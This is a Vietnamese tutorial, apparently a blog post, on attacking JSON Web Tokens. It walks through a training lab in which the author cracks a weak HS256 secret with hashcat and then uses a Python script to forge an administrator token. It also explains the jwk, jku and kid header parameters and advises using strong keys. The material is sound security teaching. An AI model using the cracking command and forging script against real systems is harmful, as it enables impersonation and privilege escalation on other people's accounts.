+4

JSON web tokens (JWT) attack - Tấn công JWT (phần 3)

III. Phân tích các phương pháp tấn công JWT và biện pháp ngăn chặn (tiếp)

2. Tấn công vét cạn (Brute-forcing) secret key

Trong trường hợp chương trình sinh token JWT cho người dùng sử dụng secret key không đủ tính phức tạp, kẻ tấn công hoàn toàn có thể sử dụng các công cụ với phương pháp tấn công vét cạn nhằm tìm ra secret key. Một khi secret key sử dụng để sinh các token JWT xác thực bị lộ sẽ dẫn đến hậu quả nghiêm trọng, kẻ tấn công có thể tùy ý thay đổi các giá trị tham số quan trọng, từ đó mạo danh người dùng bất kỳ, nâng cấp quyền hạn tài khoản.

Ví dụ với chương trình sau sử dụng secret key không đủ "mạnh":

import jwt

payload = {'name': 'viblo-security'}
# Chương trình sử dụng secret key dễ đoán
secret_key = '123456'
algorithm = 'HS256'

jwt_token = jwt.encode(payload, secret_key, algorithm)
print(jwt_token)

Một trong những công cụ thường được sử dụng với mục đích tấn công vét cạn hoặc decrypt là hashcat. Chúng ta cùng phân tích kỹ thuật tấn công này tại bài lab JWT authentication bypass via weak signing key.

Sau khi đăng nhập với tài khoản wiener:peter, kiểm tra Cookie nhận thấy trang web sử dụng JWT token để xác thực người dùng:

image.png

Chúng ta sẽ sử dụng công cụ hashcat thực hiện brute-force secret key của token này. Một câu lệnh hashcat có cấu trúc như sau:

hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory]...

Sử dụng lệnh hashcat -h để xem thông tin chi tiết cách sử dụng.

image.png

Trước hết, chúng ta sử dụng option -m (--hash-type) lựa chọn kiểu hash, với token JWT giá trị của nó là 1650016500:

image.png

Tiếp theo, sử dụng option -a (--attack-mod) lựa chọn phương thức tấn công. Tìm kiếm cách tấn công Brute-force:

image.png

Wordlist chúng ta sử dụng trong lab này đã được cung cấp tại https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list. Command cuối cùng có cấu trúc như sau:

hashcat -a 3 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list

image.png

Sau khi tiến trình hoàn thành, thu được secret key:

image.png

Lúc này, chúng ta có thể sử dụng một số công cụ hoặc trang web online (chẳng hạn jwt.io) để thay đổi các trường tham số. Để hiểu rõ hơn các chương trình sinh và xác thực JWT token, các bạn có thể tự viết chương trình đọc trường thông tin header và payload, sử dụng secret key đã thu được phía trên để thay đổi chúng.

Chương trình đọc thông tin header và payload JWT token khá đơn giản, công việc thực hiện là tách chuỗi và giải mã Base64:

import base64

def parse_jwt(token):
    try:
        # Tách token thành các phần: header, payload, signature
        parts = token.split(".")
        header = parts[0]
        payload = parts[1]
        signature = parts[2] if len(parts) == 3 else None

        # Giải mã các phần header và payload từ dạng base64url
        decoded_header = base64.urlsafe_b64decode(header + "=" * (-len(header) % 4)).decode("utf-8")
        decoded_payload = base64.urlsafe_b64decode(payload + "=" * (-len(payload) % 4)).decode("utf-8")

        return decoded_header, decoded_payload, signature
    except IndexError:
        # Token không đúng định dạng
        return None, None, None

# Sử dụng chương trình
token = input("Nhập token JWT: ")
header, payload, signature = parse_jwt(token)

if header and payload:
    print("Header:", header)
    print("Payload:", payload)
    if signature:
        print("Signature:", signature)
else:
    print("Token không hợp lệ.")

image.png

Với secret key tìm được, chúng ta có thể tạo mới một JWT token có giá trị sub là người dùng administrator để mạo danh tài khoản admin. Chương trình như sau:

import jwt

secret_key = 'secret1'
header = {'kid': '2e557c32-7324-47e9-8471-c1538dbc1bd2', 'algorithm': 'HS256'}
payload = {'iss': 'portswigger', 'sub': 'administrator', 'exp': 1685084550}

jwt_token = jwt.encode(payload, secret_key, headers=header)
print(jwt_token)

image.png

Thay giá trị JWT token mới vào Cookie, trở thành người dùng administrator:

image.png

Kinh nghiệm rút ra: Hãy sử dụng secret key phức tạp để phòng tránh các cuộc tấn công sử dụng phương pháp vét cạn (brute force secret key) như trên. Bạn đọc có thể tham khảo thêm cách thức sử dụng secret key và thời gian attacker sử dụng để tấn công vét cạn qua thống kê trong hình ảnh dưới đây:

image.png

3. Các tham số JOSE Headers và self-signed JWTs

3.1. JOSE Headers

image.png

Headers là một phần quan trọng của JWT, còn được gọi là JOSE (JSON Object Signing and Encryption) headers, chứa các thông tin xác định và định dạng của JWT. Theo tài liệu đặc tả về JSON Web Signature (JWS), JWT headers bao gồm một tập hợp các tham số và giá trị được đặt trong một đối tượng JSON. Các tham số này cung cấp thông tin quan trọng về việc mã hóa và xác minh JWT, bên cạnh hai tham số quen thuộc alg (thuật toán mã hóa) và typ (kiểu), JOSE headers còn chứa các trường tham số quan trọng sau:

  • jwk (JSON Web Key): Được sử dụng để nhúng một đối tượng JSON biểu diễn một khóa.
  • jku (JWK Set URL): Chỉ định URL chứa tập hợp các khóa công khai trong định dạng JSON Web Key (JWK).
  • kid (Key ID): Được sử dụng để xác định một ID cho khóa công khai được sử dụng để xác minh chữ ký của JWT. ...

3.2. Tham số jwk

Khi sử dụng tham số jwk (JSON Web Key), người tạo JWT có thể nhúng một đối tượng JSON biểu diễn một khóa vào trong JWT headers. jwk chứa thông tin về khóa công khai được sử dụng để xác minh chữ ký của JWT (Thông thường là một cặp khóa public/private được tạo ra từ các thuật toán mã hóa RSA, ECDSA hoặc HMAC). Ví dụ:

{
    "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
    "typ": "JWT",
    "alg": "RS256",
    "jwk": {
        "kty": "RSA",
        "e": "AQAB",
        "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
        "n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
    }
}

3.3. Tham số jku

Khi sử dụng tham số jku (JSON Web Key Set URL), người tạo JWT có thể cung cấp một URL trỏ đến tập hợp khóa công khai được sử dụng để xác minh chữ ký của JWT, thường có đường dẫn là /.well-known/jwks.json

{
    "alg": "RS256",
    "jku": "https://example.com/.well-known/jwks.json"
}

jku cho phép tách riêng việc nhúng khóa công khai, cho phép người nhận tải về khóa công khai từ một nguồn tin cậy. Điều này giúp giảm kích thước của JWT và giữ quá trình xác minh chữ ký dễ dàng và bảo mật hơn. Tuy nhiên, việc sử dụng tham số này yêu cầu sự tin cậy vào nguồn khóa công khai được chỉ định bởi URL.

3.4. Tham số kid

Trong JWT, tham số kid (Key ID) được sử dụng để xác định khóa công khai (public key) hoặc khóa bí mật (private key) trong xác minh chữ ký của JWT. kid giúp định danh và tìm kiếm khóa phù hợp trong trường hợp có nhiều khóa khác nhau được sử dụng, đồng thời cho phép hệ thống dễ dàng quản lý nhiều khóa khác nhau khi cần thiết.

3.5. Self-signed JWTs

Self-signed JWTs (JSON Web Tokens) là các JWT mà chữ ký được tạo và xác minh bằng cùng một khóa, không cần sử dụng khóa công khai của một bên thứ ba. Trong trường hợp này, người tạo JWT sẽ sử dụng một khóa bí mật riêng để ký JWT và sau đó xác minh chữ ký bằng cách sử dụng khóa bí mật đó.

Trong phương pháp này, người tạo và người xác minh JWT đều có cùng một khóa bí mật, nên không cần trao đổi khóa công khai hoặc tin tưởng bên thứ ba nào. Điều này đơn giản hóa quá trình triển khai và quản lý hơn, đồng thời giảm bớt sự phụ thuộc vào hạ tầng khóa công khai.

Tuy nhiên, một hạn chế của self-signed JWTs là sự thiếu tính chất xác minh bởi các bên thứ ba. Bởi vì không có khóa công khai được chia sẻ, người xác minh không thể đảm bảo rằng JWT được tạo bởi bên tin cậy và không bị chỉnh sửa trên đường truyền. Do đó, các bạn nên cân nhắc cài đặt ứng dụng với biện pháp self-signed JWTs.

Tiếp theo, chúng ta sẽ cùng tìm hiểu về một số kỹ thuật khai thác lỗ hổng trong self-signed JWTs bằng qua các tham số của JOSE Headers.

Các tài liệu tham khảo


All Rights Reserved

Viblo
Let's register a Viblo Account to get more interesting posts.